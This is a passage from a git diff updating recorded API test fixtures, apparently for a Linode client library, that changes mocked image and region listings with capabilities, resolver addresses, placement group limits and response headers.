2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": - "available", "capabilities": []}, {"id": "linode/ubuntu22.10", "label": "Ubuntu - 22.10", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", - "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": - "2018-01-02T03:04:05", "status": "available", "capabilities": []}], "results": - 42, "page": 1}' + "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, + "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/fedora37", "label": "Fedora + 37", "deprecated": true, "size": 1800, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", + "status": "available", "capabilities": []}, {"id": "linode/opensuse15.4", "label": + "openSUSE Leap 15.4", "deprecated": true, "size": 1550, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "openSUSE", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/slackware14.1", "label": "Slackware 14.1", "deprecated": true, + "size": 1000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": null, "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "Slackware", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}, {"id": "linode/slackware14.2", "label": "Slackware + 14.2", "deprecated": true, "size": 6000, "created": "2018-01-02T03:04:05", "updated": + "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", + "tags": [], "is_public": true, "vendor": "Slackware", "expiry": null, "eol": + "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu16.04lts", + "label": "Ubuntu 16.04 LTS", "deprecated": true, "size": 2700, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", + "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": + null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, + {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": true, + "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "available", "capabilities": []}], "page": 1, "pages": 1, "results": 40}' headers: Access-Control-Allow-Credentials: - "true" @@ -212,7 +211,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:47:58 GMT + - Fri, 31 May 2024 17:08:36 GMT Pragma: - no-cache Strict-Transport-Security: @@ -229,7 +228,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "20" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstanceBackups_List.yaml b/test/integration/fixtures/TestInstanceBackups_List.yaml index 588168d60..7ef2aa801 100644 --- a/test/integration/fixtures/TestInstanceBackups_List.yaml +++ b/test/integration/fixtures/TestInstanceBackups_List.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, 